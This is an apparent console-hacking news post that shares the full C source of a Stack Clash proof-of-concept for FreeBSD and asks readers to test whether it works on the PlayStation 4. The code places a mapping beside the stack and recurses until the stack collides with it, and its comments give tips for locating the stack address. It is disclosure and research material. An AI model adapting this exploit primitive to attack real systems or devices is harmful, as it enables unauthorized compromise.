We've seen an Experimental Toolchain recently following news of the Stack Clash Exploit, and today @zecoxao shared a link on Twitter via FabOne to the Stack Clash Proof-of-Concept (PoC) for FreeBSD by Security Engineer / Co-Founder of HardenedBSD known as lattera.
Currently the StackClash FreeBSD PoC remains untested on Sony's PlayStation 4 video gaming console, so if any developers or tekkies examine its feasibility with the PS4 we'd love to hear your findings in the comments below!
Download: 001-stackclash.c
Cheers to @Centrino and @X41 for also passing along the news tips in the PSXHAX Shoutbox!
Currently the StackClash FreeBSD PoC remains untested on Sony's PlayStation 4 video gaming console, so if any developers or tekkies examine its feasibility with the PS4 we'd love to hear your findings in the comments below!
Download: 001-stackclash.c
Code:
/*-
* Copyright (c) 2017 Shawn Webb <[email protected]>
* All rights reserved.
*
* Redistribution and use in source and binary forms, with or without
* modification, are permitted provided that the following conditions
* are met:
* 1. Redistributions of source code must retain the above
* copyright notice, this list of conditions and the following
* disclaimer.
* 2. Redistributions in binary form must reproduce the above
* copyright notice, this list of conditions and the following
* disclaimer in the documentation and/or other materials
* provided with the distribution.
* 3. The name of the author may not be used to endorse or promote
* products derived from this software without specific prior
* written permission.
*
* THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND
* CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES,
* INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF
* MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
* DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR
* CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
* SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
* LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF
* USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED
* AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
* LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN
* ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
* POSSIBILITY OF SUCH DAMAGE.
*
* Stack Clash PoC for FreeBSD.
*
* Compile: clang -O0 -fPIE -pie -lprocstat -o 001-stackclash 001-stackclash.c
*
* Note: If the security.bsd.unprivileged_proc_debug sysctl node is
* set to 0, then this PoC as it's written requires root privileges.
* Since FreeBSD lacks ASLR, you can simply gut out the libprocstat
* integration and hardcode the stack address (be sure to use the
* macros to round down to the bottom of the page). There are other
* tricks you can do to find the stack address. Do what suits you
* best.
*/
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/param.h>
#include <sys/queue.h>
#include <sys/user.h>
#include <sys/sysctl.h>
#include <sys/mman.h>
#include <libprocstat.h>
unsigned char *
func(void)
{
unsigned char buf[16];
int i;
for (i=0; i < sizeof(buf)-1; i++)
if (buf[i] == 0x41 && buf[i+1] == 0x41)
return (buf+i);
return func();
}
int
main(int argc, char *argv[])
{
struct procstat *ps;
struct kinfo_proc *p;
struct kinfo_vmentry *vm;
unsigned int i, cnt;
void *stack_start, *stack_end;
unsigned char *map, *found;
stack_start = stack_end = NULL;
cnt = 0;
ps = procstat_open_sysctl();
if (ps == NULL) {
perror("procstat_open_sysctl");
return (1);
}
p = procstat_getprocs(ps, KERN_PROC_PID, getpid(), &cnt);
if (cnt == 0) {
perror("procstat_getprocs");
return (1);
}
cnt = 0;
vm = procstat_getvmmap(ps, p, &cnt);
if (cnt == 0) {
perror("procstat_getvmmap");
return (1);
}
for (i=0; i<cnt; i++) {
if (vm[i].kve_flags & KVME_FLAG_GROWS_DOWN) {
stack_start = (void *)vm[i].kve_start;
stack_end = (void *)vm[i].kve_end;
}
}
if (stack_start == NULL)
return (1);
map = mmap(stack_start - (PAGE_SIZE * 2), PAGE_SIZE,
PROT_READ | PROT_WRITE, MAP_FIXED | MAP_SHARED
| MAP_ANON, -1, 0);
if (map == (void *)MAP_FAILED) {
perror("mmap");
return (1);
}
printf("Mapping is at 0x%016lx\n", (unsigned long)map);
printf("Stack start is at 0x%016lx\n", (unsigned long)stack_start);
for (i=0; i < PAGE_SIZE; i++)
map[i] = 0x41;
found = func();
if (found != NULL)
printf("Found 0x41 at %p\n", found);
return (0);
}